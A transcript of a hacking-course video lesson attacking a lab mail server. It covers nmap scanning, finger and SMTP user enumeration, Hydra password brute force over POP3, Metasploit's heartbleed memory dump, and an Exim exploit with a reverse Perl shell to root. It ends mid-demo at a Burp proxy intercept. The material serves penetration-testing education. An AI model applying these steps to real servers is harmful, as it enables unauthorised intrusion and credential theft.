[MUSIC PLAYING]
Welcome to the Hacker House Hands On Hacking mail
server practical module.
We're now going to go through all of the necessary steps
and processes that are required to complete
the practical elements of our mail server module.
So as you can see on my screen, I
have a virtual box running where I have a Kali Linux
instance already set up.
I have my host only networking sets.
And I'm going to right click on my Hacker House lab,
and double check that I have specified the mail server ISO.
So that we're ready to conduct this exercise.
So with my mail server ISO, I can now click boot.
And the machine should boot up and bring me
to a familiar prompt, and give me a IP address.
And we will begin by targeting this mail server through its IP
address.
Now you may have got the IP address
details of a mail server by querying it from DNS records.
Or perhaps you were given it as part
of the scope of a pen test.
Or perhaps you just found it while you were doing port scans
against an IP range.
But for this part's intents and purposes,
we have the IP address of 192.168.56.3.
I'm going to echo that IP address into a file.
And I'm just going to call it targets.txt.
I'm now going to use that input as a file.
And I'm now going to do nmap minus IL.
And actually give nmap my targets.txt file
as a file to do a basic port scan.
So when we do our very basic port scan against this server,
we should see some common ports come back
that are open, and have a very familiar mail server footprint.
So if I was to look at nmap command--
if you ever come across a command
and you want to figure out how it works
under a Linux or a Unix like environment,
if you were to type man and the name of the command,
you'd actually bring up its man page.
And inside its man page will contain
all kinds of detailed useful instructions on read these,
and how to actually make use of the tool for the most of it,
get the most use out of it.
And in fact, the nmap man page in itself is very detailed.
Contains quite a lot of information
on scan technologies and what kind of output would come back.
So always worth checking through the man page of a tool
to learn its different options.
So we can see here, a standard nmap argument, just on its own,
will run a common 1,000 default ports.
And it's found a number of common service ports.
And again, this footprint we can see here,
you can see this discard service, this FTP service,
SMTP service.
This is a time, finger, HTTP.
These are common, so-called useless, Unix services
and various IMAP, POP3, IMAPS and POP3S.
Which indicate to me that this would most likely
be a mail server of some kind.
So we can see we've done our nmap scan against this server.
The next thing we're going to do is
we're going to run another scan which
is going to be a bit more intrusive and a bit more
comprehensive.
So I'm going to do minus ST. I'm going to tell nmap
to use a full TCP handshake, otherwise known
as a connect scan.
What that means is it will make a full TCP
handshake to the remote server, which will be more
accurate for our scan results.
As it will definitely show all open TCP ports,
unless there is some kind of filtering in the way.
I will also do minus p minus.
And the reason I'm going to do minus p minus
is that it's actually shorthand for minus p 0-65535.
And that would basically try to port scan
all of the possible ports that can be in the port range.
So minus p minus is shorthand for scan all the ports.
I'll then do minus A, which is an aggressive mode.
Capital A. Aggressive mode says be more
aggressive in your scanning.
Do some abusive fingerprinting.
Try to get as much information as you can from a system.
It's very noisy, and certainly generates a bit of traffic.
I will then also do minus s.
Lowercase s and a capital C. I'll tell nmap
to run the default scripts, so that when
it finds an open service port, I can
get it to do some of that default scripts attacks
against it.
And then I'll do minus vv, because I
want to do the verbose.
I want to see what's going on.
Want to see what my command output is.
And then I'll do minus P, Capital P and disable pings.
I'm not interested in pinging the systems
and finding out if it's alive.
I already know it's alive.
So we'll turn that off.
And then minus IL.
Give it the inputs of the targets.
One more argument, minus N. I disabled DNS.
Minus N turned DNS off.
Because it will increase the amount of time
a scan will take.
So if you just disable DNS, then you
will increase the responsiveness of your scan.
So with all of these options I could then
specify a timing option if I wanted to be more aggressive.
I think this is sufficient.
And then I will do minus on mailserver.txt minus oX
with a capital X. Capital N mailserver.xml.
So I'm telling nmap to store the results of my port scan
in a text file called mailserver.txt.
And also store it in the output file of mailserver.xml.
So if we were simply to run this command,
we should then get a fairly comprehensive port
scan come back.
And also it will do some standard banner grabbing
and other things for us.
But now if we were to go back to this port service here,
we can see we've got a number of ports open.
If we were to connect to the discard service, for instance,
we connect to the service on port 9.
If we had connected to this service,
all this service will do is take any kind of input
and just discard it.
So it's a so-called useless UNIX service.
Because it actually doesn't really do much useful.
It was used for diagnostics and testing purposes.
So we've got a discard service that doesn't give us
much information.
We could check whether it was a discard service by using
a tool like amap, for instance.
Amap will identify, it uses an application mapping,
to try to identify whether a particular port matches
a particular protocol.
And you can see there when it's run against the port
that it can't access, it says unidentified.
And in this instance, it's not been
able to identify what that discard service is.
It just says it doesn't know what it is.
But amap can be used to fingerprint
when a service is the service that you think it should be.
So if I was to do amap 21, you can see here,
it's tried to match that this is FTP.
And it says that that service is likely an FTP service,
and indeed on our list.
The next service we have is an FTP service.
So if I was to then connect onto the FTP service
simply by using the FTP client, you
can see that this FTP service is giving me precise software
information within its banner.
So you can see here, I can see that this is a ProFTPD 1.3.3a
service.
So I would make a note of that in my little text file
and say OK.
Well, vim NOTES.
And I'll go, OK.
Well, I've got do edit, paste.
I'm not able to paste into them.
Copy and paste on the Unix something-- copy
and paste on the Linux, sorry, is something
of an annoyance at times.
So if I was to just do edit, copy, echo, edit, paste.
Just as an example, you could find perhaps,
I could add that line into the-- and in fact, I'm
just going to add the version number.
Because I'm not really too bothered right now
about the rest of it.
But particularly, what we're looking
for when we connect to those banners is,
we're looking for the software type and version information.
So we can see here that FTP service gives us the software
type and version information.
Just like that as well, other services there,
we could see there was a port open on 25.
And we could see in the local host, this one here,
it also provides a welcoming banner.
And this welcoming banner tells us
that it's running Exim 4.6.8.
So I'd say, OK, well, I've got Exim 4.6.8.
I can have a look for vulnerabilities
in there, as well.
So just by connecting to these different services
using a tool like net cat allows me
to identify what the banner is, what
the welcoming banner of that service is,
and potentially identify software types and version
information.
And again, we're actually instructing nmap
to do that for us, that banner grabbing process for us.
But that's how we could do it manually.
Just by connecting to each service
as we see it in the list, grabbing the banner,
making a note of any versions that we might see.
And again, we could connect to the time service next.
So again, we can see here the time service.
But just going back to this, if we go back to our FTP server.
What we'll do is we'll do FTP 192.168.56.3.
When we see an FTP server, we would
probe it to see whether we can do anonymous logins.
And it says we can't log in as an anonymous user
on this system.
It needs a complete email address or password.
So it says login incorrect and you can't actually
authenticate to it.
So in that case, what we could also try
is just trying to connect to the service
and see whether we could get any other information.
One command we might use is something like quote HELP,
for instance.
And query the server.
See if we can get any information back from commands
like STATS or HELP.
Or quote STATS or quote SITE.
Things like that.
We could try and query some of these.
See if there's any other information
leaks that we might get.
But again, FTP is service that you would try to log into.
We're focused on the mail services for this module.
We can see that the next service is an SMTP service.
And if you look in your reference guide,
we've actually included a couple of protocol helpers.
If you read the RFC, you could actually
try to communicate with some of these services using
the rules they would expect.
So if I was to type hello, announce myself
to the mail transfer agent, you can see it says hello root.
And then gives me a IP address.
And I've announced myself as someone
who wants to use this mail transfer agent to deliver
mail, send mail.
So I would then do, OK.
I've Got Mail.
For instance, we could do expansion testing.
And you can see EXPN has then given us
testing@localhost.domain.
I'll do verify testing.
And it says testing is deliverable.
And if I was to do verify fake, fake, fake, fake news.
You could then see that fake, fake, fake, fake news
is deliverable.
Well it's unlikely that that's really a user on the system.
So this might actually come up as a false positive.
Because it looks like a username enumeration vulnerability,
because you could use these commands to identify
valid email addresses.
But it is, in fact, what's known as a false positive.
And that's part of the process when you're doing these kinds
of testing and activities is to eliminate what is
a vulnerability and what isn't.
Remove the false positives, identify only,
and then confirm the real vulnerabilities on a network.
Not what ever you think might be.
And so you've got that SMTP service.
You could also then try to do mail from
and actually send an email.
So I'll send mail from matthew@evil.overlord.
And then I will do receipt to jim@evil.minions.
And then enter.
And you can see here that it says relay not permitted.
And that means that I'm not allowed
to send email to this domain.
So it's not actually configured as an open relay.
So this is how we would check can we use that server?
Can we misuse it?
Can we use it as a mail server to send relays to relay emails
through?
So that's the SMTP service.
And again, we then go down, we say, OK.
Well, we've got some version information.
The next one is the time service.
And in fact, if you were to net count to that time service,
you'll see that it will just spit something back.
So I'll connect to it on net count 37.
And you can see it's just spitting something back.
But we don't actually get any information.
If I were to just pipe that through hex dump, and do
hex dump minus capital C, we could actually
see here that we can get the hexadecimal representation
of the bytes that are being sent back to us.
And we can see deb158ac.
And in fact, if you just run this every second,
you can see that this is just a counter.
It's just the time offset from the Unix Epoch.
And then it's giving you the values there,
and it will just keep incrementing.
So that's a time service.
So we've got our port scan outputs here.
We could go on and on, and so forth, down these services.
We've got a finger service there.
So we could connect into that finger service.
192.56.3.79.
And again, we've got no welcoming banner.
But if I was to simply type a, you
can see it says no such user.
If I was to simply connect to a finger service and hit Return.
It says there's no one logged on.
There's no one logged onto that system at present.
If I was then to connect to that service and type,
for instance, root, we can see now that the finger service has
responded and says, well, there's
a valid root user on this system.
And that's not unlikely.
There's usually always a valid root user
on Unix-like operating systems.
But we can see there is a root user.
Never logged in.
No mail.
No plan.
And we've got from the finger service
the details of that user.
So we could actually use this finger service
as a kind of potential way to enumerate information
about whether a user is valid or not on that particular server.
So that's kind of useful.
Looking back at our port scan output, what
I'm going to do now is I'm going to take that outputted file,
the mailserver.xml file.
And I'm going to make it something humanly readable.
I'm going to use xsltproc.
You might find that xsltproc is not installed on your system.
So I'll do xsltproc mailserver.xml.
And I'll feed that into a file called mailserver.html.
And if I was to now do, load that file from my desk just do
file://home.
Oh, in fact, I think it's probably
/root/accounts/mailserver.html
You can actually see now that I've
got that same port scan output, but in a humanly readable,
friendly table formatted output.
So we can actually see all of the different scripts
that we run.
We can see various other options.
And I'll go back to the script output here.
So you can see, unlike our normal nmap output,
we've actually run various default scripts.
So this time we can see that our nmap has actually gone,
and it's grabbed the version information.
It's done that banner grabbing process for us.
And even done some fingerprinting
to try to work out what these different services are.
And also you can see, it's run some scripts.
And these are the names of the scripts it's run,
and the various outputs that it's got back from it.
So it's actually done things like try
to enumerate what SMTP commands it supports that we could then
connect to and try to type in ourselves.
Can see there it's giving you the time.
It's taken that time stamp, and it's
made it a humanly readable time.
Again, it's run a finger service query
to see whether or not anyone was logged onto the computer.
So it's actually gathering a lot of this information for you
by default. And so on, until it gets through the remaining web
services.
And it's even giving you certificate information
from any SSL protected services.
So we can also have that in that HTML file,
so we get it in a nice clean table.
Really useful for us then for reporting purposes
or converting to other files and similar.
But we can see that we've got this tool output.
We can see there's some web services.
There's some information from the header.
And what I like to do is, whenever I see a web service,
one of the things I would do is then
connect into the web service.
We could do that banner grabbing process again,
and see what information we can get
from the server from its welcoming banners.
And we can see here, it idents itself
as an engine x 1.4.0 service.
So again I would add engine x 1.4.0 into my notes file.
And I now got a number of different packages
on that server that I could start searching through
for potential vulnerabilities.
And see if any of those vulnerabilities
might be present in those software types and versions.
So I've seen an SMTP service.
I'm querying it for user name enumeration.
We can see that there's a web service.
And we can see other mail service ports.
So whenever I see a web service port, we've connected to it.
We know it's engine x.
What I like to do is just go to it with a web browser
and actually take a look what is that web page.
And so here we can see when we browse to this web page,
we're presented with a Hacker House SquirrelMail.
And again, this is giving us more information.
It's giving us the version information of SquirrelMail.
And it's also telling us for all inquiries,
please email johnk@mailserver01
I want to think about that johnk@mailserver01
For a second.
Because that's actually giving us quite a bit of information.
johnk@mailserver01 is actually an email address that's saying,
please email John Kaye.
But it's also quite likely that this is a username, as well.
So whether johnk@ a particular site is used for a username,
actually your username might be taken from your email address
for certain systems.
So if you think about a username and password.
That's called a single factor two-part authentication
process.
And if one part of that authentication process
is your email address, then the attacker only
needs to guess the password.
So we can actually try and see is johnk a username.
So if we type johnk, we can see by connecting to that finger
service and querying for the user johnk,
we can actually see that johnk is a valid user on this system.
And therefore, we have a username enumeration weakness.
We can use this finger service to identify valid users
on the system.
And then perhaps we can use those users for more attacks.
So that's quite useful.
You can see we've got johnk.
And I can see there's a web server on there.
We're going to do a lot more on web servers in another module.
So for the moment, we're going to focus on other things.
So I've got a username enumeration vulnerability.
And one of the next things I might want to do
is, I might want to take advantage
of that username enumeration vulnerability,
and learn some details of users on the system.
So I'm going to download from our stuff directory.
We have a file called /stuff/wordlists.tjz.
And I'm going to download our word lists file.
And I'm going to unpack our word lists file into this directory
so that we have the means to interact with these word lists.
And I'm going to go into this word lists directory now.
And we can see we've got a number of common lists.
We've got some weak passwords, male and female names,
a name short.
One of your tasks as a hacker will basically
be to compile lists.
You will want to compile lists of weak passwords.
You will want to keep lists of commonly used passwords.
As you are breaching lots of systems,
you'll see people choose very common sets of passwords.
They might choose days of the week, favorite football teams.
You'll probably want to collect passwords
in different languages if you're going to target systems
in some languages.
As an example, I've targeted systems
that were in one country, and the default username
of admin and passwort for instance,
allowed me into the system.
Whereas, admin and password did not.
Because it was a different language.
So you need to take into account things like linguistics
and various of those.
But for the moment, what we're thinking of here is,
we've got johnk@mailserver01.
We know that that is most likely his first name and his initial.
So what we could do is, we could try and generate
a list of names that might be valid users on their system.
And to do that, we're going to take
a list of male, female names from MIT.
I'm going to take a shortened version of this called name
short so that we don't spend all day waiting from here.
But it's a list of first names and last--
first names of male and female students who've attended MIT.
So I've got a big list, a good sample set of names.
And what we can do is do OK. for name in cat names_ short.
txt do echo $name don.
So again, look at this for loop.
Again, this is a very basic bash for loop.
If you're not too familiar with programming,
what this will do is, it for every line in that text file,
it will open that file, capture out each line
and store it in the variable name.
And then it will echo that variable out to the screen
and finish.
So for every entry in that file, it will just
display it to the screen.
And what we want to do now is, we
want to change the behavior of this loop
and add a second loop.
So that for every one of those names,
I want to do for surname n and then do [? a..z ?] and then do
for name n do echo $name.
And I'm going to add $surname.
And I need to make sure that I close that other for loop.
So we're running two for loops in one.
And what the second loop will do is actually generate
the characters a to z.
And for every entry in that line,
it will then generate that username
with the letter at the end.
So we will generate first name, initial for the surname,
which may well be valid users for that system.
So once we generate that list, what I'll do is,
I'll put that into a file and I'll call it userprobe.txt.
So those commands are adding that information
into that text file.
So I'll now cat userprobe.txt.
And we can see we've got 1,170 users
to try against this system, and see if any of them
are actually valid.
So how are we going to do that?
What we'll do is, we will do cat userprobe.txt.
And then we could write a script to basically make use of it.
And I'm going to show you a way of doing this, and what's
known as parallel processing.
Because it's much faster to basically get tasks
like this done.
So if you were to do cat userprobe.
Then do pipe.
Then do parallel minus j--
and I'm going to put minus j1.
Because this is going to run that command at once.
And I'm going to do finger.
And then I'm going to give it {}@ and then the IP address
of the server.
And what you can see is, what this is doing is,
I'll hold it there so this will open this text file, cat
userprobe.txt.
And for every line in there, it will use it
as the argument filled in by these left and right swirly
brackets.
And parallel says, I want to run these processes,
these commands, in parallel.
I want to run more than one at once.
But this one is actually telling it
to just run the command once.
And you'll see that it will then run that command
one at a time against that server,
and probe for valid users.
So if I was to change this, and instead of running finger
and do echo.
What you can see now is, it will actually print out one
at a time to the screen using the echo command.
But if I was to change parallel to parallel minus j20,
it will now actually try and run that command 20 times at once.
So instead of it just printing out the results one at a time,
it's now doing it 20 at a time.
So this is how you can use parallel processing,
or the parallel command, to speed up repetitive tasks.
So this is how you could write your own scripts
to do things very quickly.
So I'll do parallel minus j.
I'll do five.
If you try to probe this service too many times,
with too many threads, you will actually crush it.
Because it has an unknown bug that causes it to crash.
So if I was to do parallel minus j5.
And I was to then do finger, and then
give my arguments, which is the lines from my user probe.
Then feed in the IP address.
And you can see here, it's now querying five users
at a time from the system.
And it's coming back much quicker.
And what we can see here, in fact, is it's found one user.
It's found the user jennya on the system,
because it's come back and said login jennya,
and then giving me some details.
So I want to make sure that I'm not seeing
all of these no such users.
I don't want to see every probe sent to the server.
I just want to see the ones that are valid.
So I'll say add another pipe, then do
grep minus v. And then I will add the argument no such user.
So that I will now only see output
whenever this probe successfully finds a user.
And we can see here, it is found jennya, robertaa.
So I could start adding these users into a file.
So we could add echo jennya users.txt.
Echo robertaa, roberta into users.txt.
And if I was to leave that running,
eventually we should get more users back.
So that's kind of how you could use a username enumeration
vulnerability.
I need to think about these kind of predictive naming schemes.
When you find a user name, is the username your badge number
of your place of work?
Is it your identity card number?
Is it your first name and last name?
And if so, most likely your colleagues
will be their first name and last name, as well.
So you will only need to guess the password at that point.
Which obviously reduces the amount
of hurdles a hacker has to go through.
So here we have these various port mapping outputs.
We can see that there's a web mail service on the web port.
And then we'll go through here and see,
we can see there's a Cyrus pop service.
And if I was to look at that service, for instance,
we'll do some banner grabbing against that 192.168.56.3.
And I will do 1 1 0.
And we can see again, there's a pop service.
I did use a test, pass test.
And we can actually see that we could maybe
try and use this service to authenticate that mail server.
And see whether or not the passwords are
valid for any of these users.
So because it's a POP3 service, and not an IMAP service,
I'd say it's acceptable candidate to try and launch
a brute force attack against.
But I would also be aware that there's
an IMAP service on this host.
And I can see that it's got an IMAP service, as well.
And I would potentially always try
to do my brute force against the POP3 over IMAP.
Because you are likely to lock accounts out
with newer protocols and installations.
And here we can see now we've got johnk, sarahk, as well.
So we'll add johnk into our users file.
And we'll add Sarah.
And her surname was K. And we'll add that into the users file.
We can now see we've got four users on that system
that we are aware exist.
And the next phase is how do we get their passwords?
Well, we could do that by doing a brute force attack
against that POP3 service.
So if I was to simply run hydra, what
you might find is hydra has a other option minus h.
You can see that you could run hydra with different arguments,
and try to use brute force services.
So this is a tool by VanHouser, from the Hackers Choice.
And it's very, very cool, very awesome tool.
And it's basically stipulated under its license
that it can be used for any purposes
other than if you're in the military or Secret Service
organizations.
Which is very nice of him to give away for free.
So obviously, as long as you're adhering to that license,
you can then download this tool, use it to perform brute force
attacks against different services,
and provide the different options.
So let's do that with hydra minus l.
I'll give it the users that we've been enumerating.
And for our pass list, I'll give it
a word list of weak passwords.
Just some common weak passwords that we've put together.
But I would say that you will need
to begin compiling your own list of passwords.
We get into that habit of building lists.
Find some useful lists, things that you're going to use.
Because they will stead you in good
steed for doing this kind of password encrypt analysis
processes.
So pop3://192.168.56.3.
and that would effectively launch a brute force attack
against that POP3 service.
And we can see now, I've got peterp and charliew, as well.
So let me just add charliew to my users.txt file.
And I'll also add peterp into my users.txt file.
I can see there I've got six users now on the system.
And if I look at my word lists with weak passwords,
I'm just going to try a number of common passwords.
Things like love, sex, secret, and god,
which will then be tried against the different ports
and services.
And see whether or not they are valid passwords.
So now I'll run my hydra attack with my six
users and my weak passwords.
I'm just going to remove my restore file.
And we'll see whether or not we can actually
crack any of the passwords for that account
by simply connecting to the POP3 service, and trying to log in.
And in fact, there we can see we've got the username johnk
with a password of webmail, and the user
sarahk with the password of webmail.
And indeed charliew with the password of private.
So we've been able to brute force
three accounts on that system just by guessing passwords.
As they say, all good things come to those who brute force.
So doing johnk and then typing in the password of webmail,
we can now see that we can actually
log into this webmail service.
And there's various emails that we could then interact with.
As you'll see this if you click on the Helpdesk,
you'll see that there's an email here
that says the default password of webmail
has been set on all accounts.
Please login and change it.
From help desk, Charlie.
And obviously John hasn't done that here.
And he's left his default password as it was.
And this is actually how a lot of breaches
sort of tend to happen.
Weak passwords, misconfigured, insecure accounts, these kinds
of inadvertent exposures.
So in this instance, you know a simple default password
that wasn't changed.
And obviously, if you're marking people's mail as read,
you'd want to go back and read it.
But I would assume you are never doing this without authority.
So brute force attacks, using hydra to conduct brute force
attacks to gain access to servers.
There are other ways in which you could have also
tried to attack this host.
So let's go back and look at our nmap scan output.
We could see there were a number of other ports and services
that we could see.
Various SSL certificate probes.
SSL probing.
And we could actually try to enumerate
whether these services are vulnerable to any kind of known
attacks.
So what kind of attacks might we look for?
We could try something like SSL scan.
Whenever we see an SSL related service,
we could try to run SSL scan against that service.
So we can see here is a webmail service.
If I was to do https:192.168.56.3,
we can see here as well as another SSL protected web
service.
And we could probe that SSL service
and see whether or not there's any weaknesses in there.
So I'll do SSL scan.
I'll give it the IP address of the remote server.
And what you'll find here is that this SSL
scan has been run, and it's come against that remote server.
And it's identified that it's not vulnerable to heartbleed.
And then it's tried to Sha-1 with encryption.
And it's come back, and it said that it's identified Superfish,
Inc. As the certificate authority
with a particularly weak SSL encryption algorithm.
Within an encryption key of Sha-1.
With RSA at 1024 bits.
But it's done a number of probes.
It's identified a number of potential weaknesses
against that.
And it's also, I've run it a second time now,
and it's actually said TLS 1.1 on this server
appears vulnerable to heartbleed.
I believe it didn't say that the first time around.
But the second time around, it has actually
identified that this server might
be vulnerable to the heartbleed attack.
It's again found it there.
So we'll investigate whether this server is indeed
vulnerable to that attack.
And one of the tools that we would use.
Now we want go into an exploitation kind of mode.
Again, we could use searchsploit to try and find
our exploits in searchsploit.
Or indeed, we could actually just try
something like msfconsole, and see whether or not
there's a heartbleed exploit in there
that we could use to see whether that server is vulnerable.
So I'll do search heartbleed.
And we can see here, there's an auxiliary scanner,
an auxiliary module that's not an actual exploit that
runs kind of external to the exploitation processes.
But it gives us a good example of exploit modules
and how the modules work.
So we can then do show info on this module.
And we can see here, we get a description
of how the module works.
We also get here at the top a ranking.
We the rank here is normal.
You can see all of these different
provided by information.
And also, you've got these available actions
and basic options that are in place.
So also you've got this description.
So if I was to do set action, for instance,
scan and then do show options.
You can see that it says check hosts for vulnerability.
So I'm going to specify the remote host that's
running an SSL service.
And we're going to run that check against it.
See what happens.
So as you can see here, that heartbleed response with leak
has come back.
This module has successfully scanned that server, identified
that it's potentially vulnerable to the heartbleed attack.
Sent it five characters, and told it it's 65,000.
And it's got back the response within that information leak.
So what we could do then is change
the action of this module.
We could do set action dump.
And then do show options.
You could see the-- make sure all the options are set.
And this time it's set to actually dump
the memory contents.
And if I was to run that, it will actually
exploit that heartbleed vulnerability.
And then store the contents that it gets from the remote memory
and place it onto the local disk.
And so here you can see, it's now stored that information
into a binary bin file under your home directory.
And if I were to just simply to hex
dump and then copy and paste that file name,
we could actually browse through and see
what kind of information is being exposed.
And because this memory comes from all over the system,
it could contain anything from usernames and passwords
and, other bits of sensitive information.
And in fact, in this one, we can see that there's
some web requests in there.
And indeed, part of that web request
says it's the username jennya, and the secretkey of J3nny.
So it does look like that we may have gotten another username
and password.
So I'll try jennya and then capital J3nny.
And then try to log into the system.
And we can see now, I can actually
login as the Jenny user as well.
So we could've exploited that heartbleed vulnerability
against insecure SSL services to leak information.
Usernames, leak information like passwords.
Again it's an information leak kind of vulnerability.
But has quite a detrimental effect
because it contains quite sensitive information.
So if I was to then click on this,
I could now see that Jennifer's life is much more
interesting than mine.
As she will be going for drinks this Saturday
at the usual club with Sarah.
And so if I was to then come out of here, we could see,
we set this back to unread.
And we can see now, we've able to gain access to that server
even if we didn't use a brute force attack.
So leaking information, leaking attacks with things
like heartbleed.
You'll find that there are other exploits and things that we
may have overlooked in here.
Things like that SuperfishCA, and various other things
you might want to mess around with.
And always include every exploit on each
of these vulnerable hosts.
We do try to give you a kind of lab environment for you
to experiment and learn other things.
Maybe perhaps write exploits for some of these other services
as your skills grow.
So what we've got here is other types of services.
Go back to our notes.
We could now do searchsploit and have a look through any
of these known services.
Are there any that are vulnerable to known attacks?
Well, looks like the FTP server is very out of date.
It looks like there might be a vulnerability with the Exim
service.
As well as a number of Exim vulnerabilities there.
In particular, there's one for Exim for the string format heap
overflow.
That could be quite a useful one.
And in fact, if we were to go back
to our NSE discover scripts--
if we were to have a look in our NSE discover scripts
you would find that there are numerous SMTP probes,
SMTP scripts that we could use.
And HTTP scripts and various others
for probing different kinds of services.
But we can see here, we could actually
probe for SMTP vulnerabilities.
And actually look through to see whether there are any known
vulnerabilities in the SMTP service.
So if I was to come out of here and go,
OK, nmap minus minus script equal SMTP-vuln.
And we could actually just check are there any known
vulnerabilities in this SMTP service
by using the nmap scripting engine.
And indeed that SMTP-vuln has come back and it said,
it's likely an Exim heap overflow.
And it's likely vulnerable to a known attack.
And it even offers you the option
of launching that attack if you wanted to just to confirm it
with a script argument.
So we'll try that script argument, as well.
If I was to then do edit paste and see whether that covers it.
It says here the script execution failed
use minus d to debug.
It didn't actually function that time.
That's an example of how you could try to leverage
these vulnerabilities.
How you could actually try to use
nmap to scan for a vulnerable server.
And a similar problem likely exists
if you were to search for something like SSL-heartbleed
maybe minus p 443.
You would be able to check again whether any particular service
imports are vulnerable to that known attack, as well.
So this is how you could use nmap and nmap scripting
an engine to kind of probe your network,
probe your infrastructure.
Identify these common vulnerabilities
that might present a risk.
So if I was then to look at the Exim exploit we saw.
I'll go see if there's one in metasploit
for that particular module.
Usually, I tend to go to metasploit quite a lot,
as a lot of the exploits in there are well tested,
or have various ranking associated with them.
It's not the only framework out there.
There are alternatives such as canvas.
But it's a very popular and widely used tool.
So if I was to then do search Exim 4,
for instance, or just search Exim,
and we can see here that there are a number of Perl stats,
or a number of vulnerabilities that might be present in Exim.
And I'm going to look at the one that we
think the vulnerability exists in, which is the string format
attack.
So if I was to then use exploit/unix/smtp/Exim4
stringformat show info on here, and we can see
there's a description.
And the description tells us exactly how this vulnerability
is trying to be triggered, trying to be exploited
by a guy named Joshua.
And this exploit basically will allow you to exploit the Exim
service, and potentially elevate privileges to roots, as well.
So we'll also try to use a second bug to get root.
So if I was to then do show options,
we can see that the set our host needs
to be specified on the system.
And unlike the other modules we've
set before, we're now going to try and actually use
metasploit split to run an exploit that
requires a payload.
So if we were to think of exploits as the cannons
on the side of a ship, and we've got two pirate ships.
You've got the British Royal Navy and a pirate ship,
and they're sailing along with each other.
The pirates are going to get their exploit.
They're going to push their cannons.
And their exploit is the delivery mechanism
for that cannon ball and that cannon ball is the payload.
So they shoot their exploit.
The payload, the cannon ball, is actually
going to hit the Royal Navy, hopefully sinking their ship.
Allowing the pirates to sail off into the sunset.
And that basically is the way to think of an exploit.
An exploit is a delivery mechanism for a payload.
The payload is what's actually going to be
run on the target computer.
It's the cannonball that's actually going
to hit that remote system.
So if we were to do show payloads in a module.
It'll show us all of the module payloads
that we can select to allow us to run that exploit or run
that attack.
So we can see here, we've got command Unix, reverse Perl.
When we see things like reverse Perl,
reverse Ruby, reverse Unix, reverse Python.
You might need to just go through a process
of elimination as to which scripting languages are
supported on this host.
So I'm going to start with set command payload Unix reverse
Perl.
Because if we're going to try and exploit the Perl
interpreter in Exim, then it's quite likely the host
will have Perl, as well.
So I'll do set LHOST 192.156 and then I'll
set the rate, the LHOST, as being my attacker's computer.
And that's the host I'm going to listen on
for my payload to come back to.
So there's usually two common kinds of payload.
What's known as a reverse payload.
That is when you exploit the server, the connection, the TCP
connection, or UDP, or however the connection
is made, is reversed.
It comes back to you.
So your system needs to listen on an IP address
and have a listening port with no firewall in the way
to ensure that those systems can connect back to it.
That's the idea of a reverse payload.
A bind payload is that once the cannonball hits the target
system, it opens a new service on the port.
And you connect into that new service,
and make use of that new service.
There's also another technique which
has largely been lost to time called the find soc routine.
Which is significantly more stealthy
and makes use of the existing connection that
was used to launch the exploit.
We'll explore it more a little later on.
But just important to know that there's reverse,
bind, and there also commonly, the find soc.
And but again, payloads and payload management
is-- you need to focus on reverse and bind.
And so once we've got those set up, we can see in our options
here.
I would set LPORT to 443.
And the reason I do that is that if anyone was warm monitoring
the traffic on the wire, that port L443 or port 80
would be less suspicious than some of these high ports
if service stopped connecting out to the web.
It's not going to look too suspicious
that they're connecting to SSL.
It might look very suspicious if they're connecting to 31337
in Trinidad and Tobago, for instance.
So if I was then to do show options,
make sure all my options are set.
And then I could simply do exploits.
Make sure I got my listening host.
That's the IP that I want the server to connect to.
Got my payload set.
And then by simply running exploit,
we can see that this exploit is running
against this particular server and attempting
to execute its payload as root.
And it's then opened up a command shell session
that is basically giving you a connection back
onto this service.
So this allows you to effectively inject commands.
You can see that the exploit is being run through a heap
overflow by sending 50 megabytes of data
up to the remote server.
Causes it to overflow or buffer.
Then these buffers get populated with commands
that are then executed.
And then they can use the Perl on the remote system
to escalate privileges.
And we get this successful indication
that we've opened a command shell.
And we have an interaction on that host.
If I type ID, uname-a, you can actually
see that we're now connected to that remote mail server
and we can interact with it as though we were the root user.
So we would then do our post exploitation phase.
Which would be to capture the shadow file
and begin looking through that host
to see if there was anything of interest in there
which might have some advantage to us as an attacker.
So we could then interact with that as root.
I'm going to just hit Control and z
to background that session.
And if you look at metasploit now and do sessions minus l,
you can see that I've actually backgrounded that session.
So I can pick it up later on by simply doing sessions
minus ai2 or sessions minus i1.
And actually re-interact with it at a later time
and continue to use the framework.
So if I was to do background it again, sessions minus l,
you can see that it's just backgrounded that.
And I can kill it and also the number has changed here.
So I can keep track of how many sessions
I've got running inside of my metasploit system.
So as an example of heartbleed and an example of an exploit
being run together to gain access
to this particular server and interact with it as though you
were a privileged user.
I'm going to show you some more vulnerabilities on this host
before we conclude this module.
So I'm going to go back now to our webmail instance.
And I'm going to show you an exploit against the PHP mail
function.
In particular, we're going to exploit SquirrelMail
with the PHP mail vulnerability when it's using
Exim as a mail transfer agent.
So this attack is slightly different to the publicized
one, as the publicized one was using send mail as an MTA.
And send mail is a little less commonly used now than Exim.
So we've actually looked at this attack with Exim, as well.
So if you were to search for SquirrelMail version 1.4.18,
we'd probably find that there was
some vulnerabilities present in there.
Now the next module we do is all around web servers.
So I'm not going to dwell too much
on this, as we're going to introduce it in more
detail in the next module.
But I am just going to show you a man-in-the-middle proxy
so that we can conduct this attack.
So I'm launching a burp man-in-the-middle proxy.
Which is a free version of burp that is bundled with Kali.
I'm just going to run it with the defaults.
And I'm going to set my web browser to make use of that.
Now don't worry too much about this tool at the moment.
I'm just going to use it so I can send an exploit
from our reference guide.
If you were to have a look at sort
of page 11 of the reference guide,
you'll find that there's an example of a command injection
vulnerability being used against SquirrelMail.
And as a fun fact, there are various SquirrelMail
implementations out there that are still
using Exim as their MTA and could
be vulnerable to this attack as well.
So if I was to go here and go to my proxy,
you can see I've got my proxy is configured to--
do proxy options-- to running on a proxy.
And then at the bottom here we've got intercept requests.
And I want to intercept the server response, as well.
I want see what the server and system are doing.
So I'm going to now go back to my proxy screen,
see my intercept here.
And if I go back to my web browser,
I'm going to enable a proxy in my web browser.
I'm using a tool called FoxyProxy to do this.
Don't worry too much about this at the moment.
As I say, we'll cover a lot of this in the web module.
But I've enabled a proxy on my web browser.
I've got my man-in-the-middle proxy running.
And if I was to try and browse to a web page
now by clicking Options, you can see that my web
request is being intercepted.
And allows me to make changes to any web request
that my browser was making so that I
can manipulate those requests as they go to the server.
So this one says, it's using an invalid certificate.
Let me just see if I can go right to it
if I do it with this one now.
Do advanced, add exception.
I want to permanently store it.
I'm just going to confirm a security exception
on this page.
And now we can see that if I disable my intercept,
I can actually get back to the web page.
So if I was to hit intercept on, for instance,
and try to log into this with johnk's username,
you can see that my intercept proxy actually
contains the request that I'm trying to send to the server.
So it actually sends my username and password in there.
